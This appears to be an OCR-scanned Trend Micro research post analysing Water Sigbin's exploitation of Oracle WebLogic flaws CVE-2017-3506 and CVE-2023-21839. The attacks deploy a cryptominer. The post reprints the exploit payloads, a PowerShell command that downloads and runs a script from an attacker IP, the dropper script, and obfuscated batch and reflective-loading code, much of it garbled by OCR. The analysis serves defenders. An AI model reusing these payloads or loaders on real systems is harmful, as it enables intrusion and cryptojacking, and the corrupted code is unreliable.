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APT & Targeted Attacks

Water Sigbin (aka the 8220 Gang) exploited Oracle WebLogic vulnerabilities to deploy a cryptocurrency miner
using a PowerShell script. The threat actor also adopted new techniques to conceal its activities, making attacks

harder to defend against.

Summary

e Water Sigbin exploited the vulnerabilities CVE-2017-3506 and CVE-2023-21839 to deploy a
cryptocurrency miner via a PowerShell script.

e The gang employed obfuscation techniques, such as hexadecimal encoding of URLs and using HTTP over
port 443, allowing for stealthy payload delivery.

e The PowerShell script and the resulting batch file involved complex encoding, using environment variables
to hide malicious code within seemingly benign script components.

e The group performed fileless execution by using .NET reflection techniques in PowerShell scripts, which
allows the malware code to run solely in memory, avoiding disk-based detection mechanisms.

e The continuous evolution of threat actor tools, tactics, and procedures (TTPs) highlights the need for
organizations to remain vigilant and adopt various cybersecurity best practices, like regular patch

management, employee training, and incident response plans

Water Sigbin (aka the 8220 Gang) is a China-based threat actor that has been active since at least 2017. It focuses
on deploying cryptocurrency-mining malware, primarily in cloud-based environments and Linux servers. The

group has been known to integrate vulnerability exploitation as part of its wide array of TTPs.

In our previous discussion on the the group's tactics, we looked into how it operates using ever-evolving and
complex methods. However, cyberthreats rarely remain stagnant, with threat actors constantly finding new ways
to outsmart defenders. Recently, we’ve observed the Water Sigbin using new techniques and methods to hide its

activities, making the group’s attacks more difficult to defend systems against.

CVE-2017-3506 and CVE-2023-21839 exploitation

We found the threat actor exploiting vulnerabilities with Oracle WebLogic server CVE-2017-3506 (a vulnerability

allowing remote OS command execution) and CVE-2023-21839 (an insecure deserialization vulnerability) to

deploy a cryptocurrency miner via a PowerShell script named bin.ps1 on the victim host. Upon closer examination
of the group’s tools, tactics and procedures (TTPs), we determined the exploitation to be the work of Water Sigbin,

indicating that it is continuously updating its deployment scripts and tools.
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We observed the following attack payload for CVE-2017-3506:

<soapenv:Envelope xmlns:soapenv=""http://schemas.xmlsoap.org/soap/envelope/"">
<soapenv:Header> <work:WorkContext xmlns:work=""http://bea.com/2004/06/soap/workarea/"">
<java version=""1,8.0_151"" class=""java.beans.XMLDecoder"">
<void class=""java.lang.ProcessBuilder"">

<array class=""java.lang.String"" length=""3""> <void index = ""0""> <string>cmd.exe</string> </void> <void index = ""1"">
<string>/c</string> </void> <void index = ""2""> <stringpowershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc |
[cABvAHCAZQByAHMAAAB 1AGWADAAGACTASQBFAFGAKABOAGUAdWA AEBAYgBGAGUAYWBOACAATgBIAHQALGBXAGUAY gBDAGWAaQBTAG4AJAADACA gBSAGBAYQBKAFMAd gBnACgAJWBOAHQ |

/AdABwWADOALwWAVADAAeABiADKAY(QBjADgAMAASADIAOGAOADQAMWAVAGIAQQBUAC4ACABZADEAIWAPACIAK/string> </void> </array> <void method=""start""/> </void> </java>
</work:WorkContext> </soapenv:Header> <soapenv:Body/></soapenv:Envelope>

Figure 1. The attack payload for CVE-2017-3506
The base64-encoded string in the attack payload is the following:
powershell "TEX(New-Object Net.WebClient).DownloadString('http://0xb9ac8092:443/bin.ps1")"

Meanwhile, the attack payload for CVE-2023-21839 can be seen in Figure 2.

GIOPGxBEAAdminServer3IDL:weblogic/corba/cos/naming/NamingContextAny: 1.08BEA, )§Q [@rebind_any172.26.112.16( 0
(IDL:omg.org/SendingContext/CodeBase: 1.06172.26.112. 16 [dBEA(IDL: omg.org/SendingContext/CodeBase: 1.012BEAX4]"p, BEAGGHG [GBEA

test§YTRMI:weblogic. jndi. internal.ForeignOpaqueReference:D237D91CB2FOF68A: 3021527FEDS96EF16G#IDL: omg. org/CORBA/WStringValue: 1.081dap: //45.15.158.154:1389/Basic
/Command/Base64/c6932XJzaGVsbCAiSUVYKES Ldy1PYmplY3QgTmVAL1d1YkNsaWVudCkuRGI3bmxvYWRTdHIpbmcod2h@dHAGLY8XODUUMT cyL jEy0C4XNDYBNDQzL2JpbiSwczEnKSI=

Figure 2. The attack payload for CVE-2023-21839
For this exploit, the base64 encoded string in attack payload is:
powershell "TEX(New-Object Net.WebClient).DownloadString('http://185.172.128.146:443/bin.ps1")"

We found exploitation attempts in both Linux and Windows machines, with the threat actor deploying shell scripts
in the former and a PowerShell script in the latter. For our analysis, we will refer to the techniques used in the

Windows version of the exploitation, which shows a noteworthy obfuscation technique used by Water Sigbin.

At the outset of payload delivery during vulnerability exploitation, the threat actor used the following techniques

to evade detection:
e Implementation of hexadecimal encoding for URLs:

The URL used to download and deploy the PowerShell script is depicted in the following image:

powershell "IEX(New-Object Net.WebClient).DownloadString('[http://0xb9ac8092:443/bin.ps1')"

Figure 3. Hex encoding of the URL
The dotted decimal notation of this URL translates to http://185.172.128.146:443/bin][.]ps1
o Employing HTTP over port 443:
As seen in the previous URL, Water Sigbin uses HTTP on port 443 for stealthy communication.
The bin.ps1 shell script file consists of two parts:

1. A lengthy base64-encoded string containing the binary code and instructions to execute it
2. A function responsible for decoding the base64 string, writing the decoded contents into a file named

microsoft_office365.bat in temporary directory, and silently executing it
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function Convert-Base64ToFileAndExecuteSilently {
param (
[Parameter(Mandatory=$true)]
[string] $Base64String,

[Parameter(Mandatory=$true)]
[string] $FileName
try {

$tempPath = [System.IO0.Path]::GetTempPath()

$filePath Join-Path -Path $tempPath -ChildPath $FileName

$bytes = [System.Convert]::FromBase64String($Base64String)
[System.I0.File]::WriteAllBytes($filePath, $bytes)

Start-Process -FilePath $filePath -WindowStyle Hidden
} ™| Executes process

catch { silently
}

$base64String = "Y21kIC9jICIzZXQgX189XiZyZW@iDQpzZXQgIllscElaSFp3PXN1dFJ4RUdqIFI4
RUdqWjBSeEVHa lpHW1J4RUdqd14. . . . JVVXR1dXbFZa01J4RUdqPSUgfCALY ldwT1RHCEg1DQo=" ‘\
$fileName = "microsoft_office365.bat"

Base64-encoded string consisting of the binary code
and other instructions

Convert-Base64ToFileAndExecuteSilently -Base64String $base64String -FileName $fileName

Figure 4. Content of bin.ps1 PowerShell script

The base64-encoded content decoded by the Convert-Base64ToFileAndExecuteSilently function in the bin.ps1 file

reveals the core script elements. This decoded content is then written to the temporary directory under the file

name microsoft_office365.bat.

Analysis of microsoft_office365.bat

The microsoft_office365.bat script employs environment variables to obfuscate the original script code, making it
seem complex and confusing. The script commences with the following code:

cmd /¢ "set _ =&rem"

set "RUpHZHZ=setRXEG] RXEG] ZORXEG] ZGZRXEG]WRXEGj==RXEG]=1RXEG] GRXEGj& RXEG]SRXEG] tRXEGjartRXEG] RXEG]""RXEG] /RXEG]MRXEG]inRXEG] RXEG]"

set "WiVRVIR]=GARXEG] eRXEG]xitRXEG]"

set "cFplaFFv=noRXEGjtRXEG] deRxEGjfiRXEGjnedRXEG] ZRXEGjOZGRXEG]jZw=RXEG]=RXEG]
if %cFplaFFviRXEGj=% (%RUpMZHZw:RXEGj=%%0 %WmVRVIRj:RXEG]=5%)

Figure 5. Initial code of the script “microsoft_office365.bat”

While examining the script, we observed that it seems like environment variables are being set, which seem like
unreadable or gibberish data. However, after thorough analysis, it seems like the threat actors managed to

implement a very effective method to hide their malicious code.

To get the actual code, we need to decode the first “if” condition:
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if %cFplaFFv:RxEGj=% (%R1pMZHZw:RxEGj=%%0 %WmVRV1Rj:RXEGj=%)

Figure 6. If condition in “microsoft_office365.bat”

€6

Next, we need to replace RxEGj with empty (“”) in every part of the code. After doing this, the first part of the

script will look like the following:

cmd /c "set __ _=&rem"
set "RLpMZHZw=set ZOZGZw===1 && start "" /min "
set "WmVRV1IRj=&& exit"
set "cFplaFFv=not defined ZOZGZw=="'
if %cFplaFFv:=% (%R1pMZHZw=%0 %WmVRV1Rj=%)
*This if condition translates to the below condition
if not defined Z@ZGZw==1 && start "" /min ( && exit)

Figure 7. Decoded first part of the script

The initial command cmd /c "set __=&rem” runs a new command prompt and sets the “__” environment variable
to an empty string and then executes the rem (records comments in a batch file) command, which does nothing.
Overall, the script section appears to be designed to start a new command prompt window in minimized mode and

then exit the current script.
The next two lengthy lines of base64-encoded content contains the actual binary code, requiring processing before
it can be utilized. The attacker employs PowerShell methods for this processing.

+ 1 +48F tkwS0PSNMEZWKQ49YpF1WvJI3LMI je0GB77k8EKGPIROEX510NWCZV . v v v s s 2DBIy8C2FNKFLINndffc= ## Extremly long string and the encrypted malware code
1 18tZERGOLPh6UA2. .. .. I2/v1iCEpn@3suW6WKMTX6RM3qgIYfS5tg== ## Extremly long string and the encrypted malware code

Figure 8. Encoded malicious binary code

The next section contains obfuscated PowerShell code, which does all the processing on the base64-encoded

string for further usage.
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set "SEZNdOxC=Wi j j owRxEG] erf j IRXEG] 1\VRXEG] 1RXEG; . ORXEG] \poRXEG jwRXEG e rRXEG j ShRXEG j € LIRXEGj . RXEG] eRXEGj xeRxEG] "
set bWpOTGpH=C:\Windows\System32\%SEZNdOxXC: RxEGj=%
set "UWFWWLVZ=; iRXEG] exRXEG]

(RXEG] [RXEG) TeRXEG]XtRXEG] . j j COdRXEG] jQIRXEGj = jFBRXEG] j rRXEG ] ingRXEG { [SRXEG] ySRXEG] tRXEG] jm. RXEG] CRXEG] j rtRXEG] ] :RXEG] j 3]
5e6RXEG]4RXEG] StRXEG] riRXEG) nRXEG] gRXEG] (' RxEG)chEG)GQRXEG)BZRXEG]XJRXEG)HGRXEG, ARKEG] tdRXEG]y JORXEG] aWRXEG]RRXEG] KZWRXEG] 47ZRXEG) jY: J PRXEG] b2RXEG ] 4RXEG ) ZWRXEGJNLRXEG ] bWRXEG
J90JRXEG ] ERXEGjVGRXEG]REXRXEG] i 1 CRXEG] 3RXEGJRRXEG j 1bRXEG j SRXEG] STRXEG] j )] j j j! j J IdREGjGIRXEG] nRXEG] CR
XEGjmFwRXEG ) aHRXEG j kuRxEGj QWVRXEG] zXRXEG;) ToRxEG] 6RXEG] Q3RXEGj JLYRXEG] XRXEGj RIRXEG]KRXEG] CkRXEG) 7RXEG JFRXEG j haRxEGj cGRXEG j hRXEG] vLRXEG] kRxEG] 1RXEGj j! j j J3RXEGjR JbSRXEG)STRXE
GJ ZRXEG]WNRXEG] IRXEG] cmIRXEG] 0eRXEG] SSDRXEG] CRXEG] nRXEG] IRXEG]WRXEG] dRXEG] GRXEG jORXEG nCTRXEG] FWRXEG aHRXEG | KURXEG] Q2RXEG] LWRXEG] aRXEG] GRXEG] VRXEG] yTWRXEG] SRXEG] KRXEG] ZVRXEG | B6ORXEG] KRXEG JNCRXEG 0ZRXEG]
SRXEG] kWRXEG j FpRXEGjwaRxEGj GBRXEG] uRXEG] URXEG]GRXEG] FKZRXEG]! j jz i U3 RXEG] JGVRXEG] tRXEG) LleEG]NWRKEG]}"P EGj jRSLRXEG] jl jyeRxEG] jb2dRXEG] yRXEG] YXBRXEG]
0eRXEG] SSQRXEGj YWRXEG] RKaRXEG] T j 3 1BRXEG] LQ1RXEG jM3RXEG ORXEG] RRXEG | j j SRXEG] LRXEG] ZRXEG] j j j j J3RTRXEG] DRXEGS5D
ﬂXEﬂ]bZRXEG]SZRXEG]ZXRXEG]JORXEG)XWEG]ﬂRXEG]ERXEG]RHRXEG]JVRXEG]bRXEG]UJhRXEG]CZURXEG]2RKEG]NRXEGJFNRXEG]BHXEE](HRXEEJlI‘RXEG]Lyn EGj NRXEG] jl l4»ﬂxEG]1kaEG )] JFRXEG] oURXEG
;usmsﬁ,wummm £6) SHRXEG j jXORXEG] 1RXEG] K1RXEG TRXEG] EZtRXEGj SURXEG] SHVRXEG] j KT PRXEG jWaGRXEG] BURXEG ] SVYRXEG] OW1

jC3RXEGIRIRXEG] j b25RXEGj 2ZRXEG X. j j J0BRXEGIRNRXEG] JVRXEG jbUIRXEG i hcRXEG] 2RXEG] i jNORXEG] cml ji j jBCRRXEG]UZRXEG] ORXEG] bXR
XEG] FRXEG ] ONRXEGJWVRXEG ] PNRXEG] D: VRXEG] j j j JORXEG] JykRXEG] 7JHRXEG] JRXEG] EVIRXEG | ZSRXEG | j j TGRS IRXEGEZWiRx
EGjNyRXEGj eXRXEG] 3IRxEG] aRxEG]KTSRXEG] j j j J9IRXEG]H. JEVRXEG] 1ZSRXEG jLRXEG j IRRXEG] yRXEG] j] j i JSoRXEG] JEVRXE
GJGRRXEG] EXRXEG L ASRXEG] JERXEG] j EanxEG]LkaEG]xleEG]hmeEGJdeEIi]ﬂa(RxEﬁjk7RxEG]JRxE(n]!|JRxEG)EVRxE(-)UUFF! SRXEG] LKRXEG] RpCRXEG] j J TSRXEG j KNRXEG j FRXEG ] pRXEG
JwRXEG]aGBRXEGj uRRXEG] GRXEG] L zRXEG] CGRXEG] 9zRxEG]. ibRXEG 2 1RXEGjbTRXEG] tIRXEG  ZnVRXEG] URXEG] YRXEG] i j gTRXEG] jl )] JVRKEG  GRXEGj RERXEG
NRXEG] KRXEG ] XRXEG] sKVRXEG ] LVRXEG] XRXEG] VRXEG] FREG]MRXEG] STRXEG] IVRXEG] 3LRXEG]UIRXEG ] RXEG] aRXEG jmRXEG JVRXEG] jRXEG jACBRXEG] TeRXEG] j DZRXEG] j j EGj j ] tRXEG] b3RXEG] IRXEG

JSRXEG]URKEG] 3RYRXEG] ZWRXEG] FtKRXEG] CWRXEG] KRXEG]RURXEG] ZERXEG] TGRXEG] CPRXEG] ORXEG YRXEGRERXEG] GnNRXEG) 2SRXEG 2 10RXEG j ZXRXEG] CtRXEG] T2RXEG] JqZRXEG] WNBRXEG] IRKEG] FNRXEG] Sc3RXEGTRIRXEG] bSRXEG] SIRXEG) TyRx
6 SRXEGJNRXEG] ZRXEG] WRXEG] 1VRXEG] Cn LRXEG] TAHRXEG] JRXEG] YWRXEGj8TRXEG] JRXEG] FVARXEG SURXEG JNPRXEG] PRXEG  USRXEG  LARXEG j 1RXEG] PRXEG] YRXEG] p LRXEG] Y3RXEG] QRXEG] QURKEG] 312RXEG] JGVRXEG] tL KRXEG] 1PRXEG] LKNRx

G VBRXEG] KRXEG] BRXEG] yRXEG) ZRXEG] XNRXEG] ZaRXEG JuLKRXEG] j JTdeEG]HRx[E]JleEG]MxEGJBoJRx[B]FRxEG]ZVRxEG)VRxEG)1RxEG]RTRxEG]LRxEG)FtRxEG]JIRxEB]ySRxEG]DbZRxEGJ1waEGJ:Mx[E]VRxEG]zR
XEG] C21RXEG] YDRXEG 15RXEG] DD2RXEG] Luc j CRXEG] 2RXEG] j  VRXEG] ZGRXEG jVARXEG 0 jpRXEG] EZRXEGWNRXEG] XBYRXEG] J8RXEGjURXEGjQ29RXEG
JWeRYEG] VRRXEG] j j CINRXEG] YKRXEG) 7JRKEG] FRXEG] j PRXEG] LRXEG] KRXEGRRXEGpCRXEG] 3BVRXEG C2RXEG] j TSRXEG] KRXEG] VRXEG] LVRXEGI XRXEG] HRXEG] URGRXEG 1ZRXEG R
EGj69ZRXEGI ZRYEG, j j j j aXRXEGINWDRXEG] 3RXEG] JCRXEGKT. YRXEG] Y3RXEG] NLLRXEG] YRXEG] j  TERXEGJQIHRXEG JhYBRXEG
JFRXEG] FuRXEG] PRXEG] VRXEG] tTRXEG] j j J8RXEG] URXEG] RRXEG 35 2VRXEG] B6RXEG jORXEG LIRXEG] LYRXEG] MRXEG] alRXEG] 51 j j j jSRXEG] ZVORXEG6RXEG;0
TRXEGjRpARXEG GRXEG X 1RXEG] KTSRXEG] KYRXEG] KRXEG] j JURXEG j JKRAEG RXEG] KRAEG RG] VRAEG] SRXEG) RAEG] RKEG) RAEGHRXEG] j j 1VYRXEG] dFORXEG] 60
RXEG]KZyRXEG] b2RXEG] 1CRXEG] YRXEG] KRXEG] NjRXEGS i i i WRXEG] INRXEGjSRXEG C3RXEGIRIRXEG] j LKRXEG j j 1CHRXEG; FARXEGbGRXEG] VARXEG0R

XEG] jRXEG ] pFRXEG] bRXEG] GRXEG] VRXEG] tZWRXEG] SORXEG] QXRXEG] Q0IRXEG]HNRXEG] YORXEG] FFWRXEG LCRXEGJATRXEGKSRXEG] STRXEG AWRXEG] JRXEG] ZRXEG] dHRXEG] JRXEG] PRXEG] bRXEG] MCRXEG ORXEG]MIKRXEG ] PKRXEG] SRXEG]KTRXEG] IR
XEG] FdqRxEGjaRxEG) XdLRXEG] PUSRXEG] DaERXEG] ZRXEGj pLCRXEG] hlVRxEG]attRxEGJaCARxEGJnHRxEG]MRxEGJvthEGJnmeGJ 1RXEG]) CRXEG] nRRXEGj dORXEG] j pRXEG] GRXEG] cmIRXEG] tQRXEG mRxEG] F2ZRXEG] TRXEG] YORXEG] URXEG] 3RYRXEG

JBRXEG]WSRXEG nKFRXEG] tRXEG] TRXEG] i JWeR jc j JVRXEGj tRXEGj ZXRXEG] JRXEG ] hYRXEG ] mxRXEG] U(TRXEGJ oRxEG) j )} thRXEG] ] EFRXEG] OKRXEGj CRx
£GjRRYEG] 3 XRCRXEG] i j1CRXEG] j j 3] ] j 1 IpKRXEG] SKRXEG] pORXEG] 1t j j j j i 1 JAGRXEG] WHRXEG]
i j CIRXEG, j j j ) j j j JORXEG] ORXEG jW2RXEG j JRXEG  SAGRXEG j VDRXEG | XRXEG | i ] KRXEG] j j JPLKRXEG] VRXEG jURXEG] dRXEGHISR
XEGjURXEG] GIRXEG] j )] j jl j2tRXEG] IKRXEG] C 1] URXEGJWRXEG] L j iT j j 3RXEG] 1 ji j tLIRXEG] JRXEG] LZRXEGjmx 1RXEG] Y3RXEG
JRPBRXEG j 24RXEG ] UOXRXEGNRXEG] ZRXEG] ZWLRXEG i j j LRXEGj j  PMDRXEG ] 2FKRXEGKFRXEG j tRXEGj 1€RXEG j YRRXEG ] IWRXEG] 11RXEG] dJGRXEG] j ULRXEGj j j ] YeVRXEGBVRXEGjaRx
EGWSRXEGj ORXEG] Lk IRXEG j uRXEG j dmRXEG) 9rRxEG] ji j j jSbCRXEG: j NVRXEG sbCRXEG j KRXEG 7 'RXEG] ) RXEG] ) ) RXEG] "

set “TFZKCIRI=$HRXEG] 05 tRXEG] . URXEG] L. RXEG]RRXEG] awRXEG] UIRXEG] . HRXEG] indRXEG ] OWTRXEG 1RXEG] t IRXEG ] eRXEG j=RXEG]"
echo KTFZKCIRT:RXEG] =% '%~0 ' SUNFNLVZ: RXEG] =% | %bHpOTGpHS

Figure 9. Obfuscated PowerShell code

nn

Similarly, if we deobfuscate the remaining section by replacing RxEGj with an empty string (""), we will obtain

the actual PowerShell code:

set "SEZNdoxC=WindowsPowerShell\v1l.@\powershell.exe"

set bWpOTGpH=C:\Windows\System32\WindowsPowerShell\v1.®8\powershell.exe

set "UWFWWLVZ=;iex

([Text.Encoding] : :UTF8.GetString( [System.Convert] : :FromBase64String( ' cG93ZXJzaGVsbCAtdyBoaWRkZW47ZnVuY3Rpb24gZWNLbWgoJEVGREXNKXs kWFpwaG8OWINSc3R1bS5TZWN1cmldeS
5Dcn lwdGIncmFwaHkuQWVzXTo6Q3] LYXRIKCk7IFhacGhvLk1vZGUIWINS c3R1bS5TZWN1cmL@eS5Dcn lwdGIncmFwaHkuQ2 lwaGVy TWIkZVB60KNCQzs kWFpwaGBuUGFkZG luZz1bU31zdGVLINTY3VyaXR5L
kNyeXB@b2dyYXBoeS5QYWRkaWSnTWIKkZVe601BLQIM30yRYWNBoby5LZXKIWINSC3R1bS50b252ZXI0XTo6RNIVbUINhC2U2NFNO cmluZy gnNk9HAGAwTk83dkFoUGSoUU@ rSWN4amLkdVRsaVQxd 1K 1TEZtSUSH
V1BoQT@nKTskWFpwaGBuSVYIWINSc3R1bS5Db252ZXI0XTo6RnIvbUIhc2U2NFNG cmluZy gnWFBCRUZobXFoNWVPNDIUQmVzenRLdz09] yk7JHIEV1ZSPSRYWnBoby5DcmVhdGVE ZwNy eXBOb3 IoKTskcGISZWO
‘9JHIEV1ZSL Ry YWSzZm9ybUZpbmFsQmxvY2s0JEVGREXnLDAsJEVGREXNLkx Lbmd@aCk7IHIEV1ZSLKRpc3Bvc2UoKTskWFpwaGBuRG Lz cG92ZSgp0yRwb2x 1bTt9ZnVuY3Rpb24gTkNORMKoJEVGREXNKXSKVL
VXVFMITmV3LU9iamVjdCBTeXNOZWOuSUBuTWYtb3I5U3RyZWF tKCwkRUZETGcpOyR6 cmNzSz10ZXctT2)qZWNOIFNSCc3R1bS5ITySNZW1ven1TdHI LYW87JFVOSUNPPUS 1dy1PYmplY3QgU31zdGVtLk LPLkNvb
XByZXNzaW9uLkdaaXBTdHI1YW@oJFZVVIRTLFtJTy5Db21wemVzc21vbiSDb21wemVze21vbk1vZGVdO j pEZWNVDXBY ZXNzKT skVXRIQ08uQ29weVRVKCRE cmNzSyk7J FVBSUNPLKRpc3Bve 2UoKTs KV LVXVFMuU
RGlzcG92ZSgpOyREcmNzSy5EaXhwb 3N LKCk7JHpyY3NLL IRvQXJyYXkoKTt9JHhYbF FwPVtTeXNOZWOuSUBURMLsZVOE01] LYWRMaW5 LcyhbQ29uc295ZV060 LRpdGx LKTskYkSpWWUS TkNoRmkgKGVjS210ICh
bQ29udmVydFe60kZyb21CYXNUNjRTdHIpbmcoWINSc3R1bS5MaWSxLKVudWl LemF ibGVdOjpFbGVtZW58Q0XQoJHhYbFFwLCATKSS5TdWIzdHIpbmcoMikpKSk7JFdgaXdLPUSDaEZpICh Y@t taCAoWANvbnZlcn
RdOjpGem9tQmF2ZTYOU3RyaW5nKFtTeXNOZWOUTGlucS5FbnVtZXIhYmx LXTo6RWx 1bWVudEFOKCRAWGXRcCwgNikuU3Vic3RyaWSnKDIpKSkp01tTeXNOZWOuUMVmbGYjdG LvbiSBc3N1bWIseVe60kxyYWQoW
2]5dGVbXVekV2ppd@spLkVudHI5UGIpbnQuSW52b2t IKCRudWxsLCRudWxsKTtbU31zdGVtL 1] 1Zmx 1Y3Rpb24uQXNzZW1ibH1d0] pMb2FkKFt ieXR1W11dJGI0aV11KS5FbnRyeVBvaW5@Lk ludmIrzSgkbnVs
bCwKbnVsbCk7')))"

set "TFZkc3RI=$host.UI.RawUI.WindowTitle=""

echo $host.UI.RawUI.WindowTitle=;iex

([Text.Encoding] : :UTF8.GetString( [System.Convert] : :FromBase64String( ' cG93ZXJzaGVsbCAtdyBoaWRkZw47ZnVuY3Rpb24gZWNLbWgoI EVGREXnKXs kWFpwaG8IWINSc3R1bS5TZWN1cml0eS
5DcnlwdG9ncmFwaHkuQWVzXT06Q3] LYXRIKCK7JFhacGhvLKk1vZGUIWINS c3R1bS5TZWN1cm1@eS50cn lwdGIncmFwaHkuQ2 1waGVyTWIKZVO60KNCQzs kWFpwaGBuUGFKZ6luZz1bU31zdGVELIN1Y3VyaXR5L
kNyeXBOb2dyYXBoeS5QYWRkaWSnTWIkZV@601BLQIM30yRYWNBObYSLZXkIWINSc3R1bS5Db252ZXI0XTo6RNIVDUIhC2UNFNOCmluZy gnNkIHAG4wTk83dkFoUG5oUUe rSWN4amkdVRsaVQxd 1k1TEZtSUSH
V1BoQT@OnKTskWFpwaGBuSVYIWINSC3R1bS5Db252ZXI0XTo6RnIvbUIhc2U2NFNG cmluZy gnWFBCRUZobXFONWVPNDIUQmVzenRLd 2091 yk7IHIEV1ZSPSRYWnBoby5DcmVhdGVE ZwNy eXBOb3 IoKT skcGISZWO
'9JHIEV1ZSL IRYYW52Zm9ybUZpbmFsQmxvY2s0JEVGREXnLDASJEVGRExnLkx Lbmd@aCk7JIHIEV1ZSLKRpc3Bvc2UoKT skWFpwaG8uRG Lz cG9zZSgp0yRwb2x 1bTt9ZnVuY3Rpb24gTkNoRmMkoJEVGREXNKXSkV L
VXVFMITmV3LU9iamVjdCBTeXNOZWOuSUBuTWYtb3I5U3RyZWF tKCwkRUZETGcpOyR6cmNzSz10ZXctT2)qZWNOIFNSCc3R1bS5ITySNZW1ven1TdHI 1YW87JFVOSUNPPUS 1dy1PYmplY3QgU31zdGVtLk LPLkNvb
XByZXNzaW9uLkdaaXBTdHI 1YW@0JFZVVIRTLFtITy5Db21wemVzc21vbi5SDb21wemVze2lvbk1vZGVd0j pEZWNVbXBYZXNzKTskVXR]Q08uQ29weVRVKCRE cmNzSyk7J FVASUNPLKRpc 3Bvc2UoKTs kV LVXVFMu
RGlzcG9z 5EaXNwb3N1KCk7JHpyY3NLL IRvQXJyYXkoKTt9IHhYbF FwPVtTeXNOZWouSUBURM1sZVe601] LYWRMaWS LcyhbQ29uc29s2Ve60 IRpdGX IKTskYkSpWWUI TkNoRmkgKGVjS210ICh
bQ29udmVydF@60kZyb21CYXNWNjRTdHIpbmcoWINSc3R1bS5MaW5xLkVudWl LemFibGVd0jpFbGVtZWS80XQoJHNYbFFWLCAIKS5TdWIzdHIpbmcoMikpKSk7JFdgaXdLPUSDaEZpICh 1Y@t taCAoWONvbnZlcn
Rd0j pGcmItQmFzZTYOU3RyaWSnKFt TeXNOZWOUTG lucSSFbnVtZXIhYmx 1IXTo6RWx LbWVudEFOKCRAWGXRcCwgNikuU3Vic DIpKSKpOLtTe Jd6lvbi5Bc3N1bWIseVa60kxyYWQoW
2]5dGVbXVekV2ppd@spLkVudHI5UGIpbnQuSW52b2t IKCRudwxsLCRudWxsKTtbU31zdGVtL 1] 1Zmx 1Y3Rpb24uQXNz2ZW1ibH1d0j pMb2FKKF t ieXR1W11dJGI0aV11KS5FbnRyeVBvaWs ALk ludmIrzSgkbnVs
bCwkbnVsbCk7')))" | C:\Windows\System32\WindowsPowerShell\v1.0@\powershell.exe

Figure 10. Decoded PowerShell code
This PowerShell command performs the following actions:

1. Decodes the base64 string ([Convert]::FromBase64String)

2. Performs decryption ([System.Security.Cryptography.Aes]) of the very long string
3. Decompresses the decrypted string ([I0.Compression.CompressionMode])
4

. Executes the malware code using DotNet in memory reflection ([System.Reflection.Assembly])
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By leveraging "System.Reflection.Assembly," the attacker orchestrates a fileless execution strategy, ensuring that

all operations occur solely in memory.

Conclusion

The Water Sigbin's activities involving the exploitation of CVE-2017-3506 and CVE-2023-21839 underscore the
adaptability of modern threat actors. The use of sophisticated obfuscation techniques such as hexadecimal
encoding of URLSs, complex encoding within PowerShell and batch scripts, use of environment variables, and
layered obfuscation to conceal malicious code within seemingly benign scripts demonstrates that Water Sigbin is a

threat actor that can capably hide its tracks, making detection and prevention more challenging for security teams.

These evolving tactics signify a need for constant vigilance and proactive countermeasures to safeguard systems

and networks against sophisticated threats.

Recommendations

To effectively protect systems and networks against vulnerability exploitation such as those carried out by the
Water Sigbin, organizations can implement a variety of cybersecurity best practices and proactive defense

measures. Here are some recommendations:

1. Patch management. Prioritize regular updates and patch management processes to ensure that all systems
are running the latest software versions. Quickly apply security patches for known vulnerabilities,
especially those with publicly available exploits.

2. Network segmentation. Use network segmentation to reduce the attack surface. By separating critical
network segments from the larger network, the impact of a potential vulnerability exploitation can be
minimized,

3. Regular security audits. Conduct security audits and vulnerability assessments regularly to identify and
remediate potential weaknesses within the infrastructure before they can be exploited.

4. Security awareness training. Educate employees about the common tactics used by attackers so they can
recognize and avoid falling victim to social engineering attacks that might precede vulnerability
exploitation.

5. Incident response plan. Develop, test, and maintain an incident response plan so your organization can
respond quickly and effectively to any security breaches or vulnerability exploitations.

6. Threat intelligence. Subscribe to threat intelligence feeds to stay informed about the latest threats and

tactics used by threat actors and advanced persistent threat (APT) groups.

Trend solutions

The following protections exist to detect malicious activity and shield Trend customers against the exploitation of

the vulnerabilities discussed in this blog entry:

e 1011716 - Oracle Weblogic Server Insecure Deserialization Vulnerability (CVE-2023-21839)
e 1010550 - Oracle WebLogic WLS Security Component Remote Code Execution Vulnerability (CVE-2017-
3506)
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Indicators of Compromise (IOCs)

The indicators of compromise for this entry can be found here.

MITRE ATT&CK

Tactic
Initial Access

Execution

Defense Evasion

Command and Control

Tags

Technique

Exploit Public-Facing Application

Command and Scripting Interpreter: PowerShell
Deobfuscate/Decode Files or Information

Obfuscated Files or Information: Command Obfuscation
Hide Artifacts: Hidden Window

Process Injection: Portable Executable Injection
Reflective Code Loading

Data Encoding: Standard Encoding

Application Layer Protocol: Web Protocols

Ingress Tool Transfer

Source: https://www.trendmicro.com/en_us/research/24/e/decoding-8220-latest-obfuscation-tricks.html
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Technique ID
T1190
T1059.001
T1140
T1027.010
T1564.003
T1055.002
T1620
T1132.001
T1071.001

T1105
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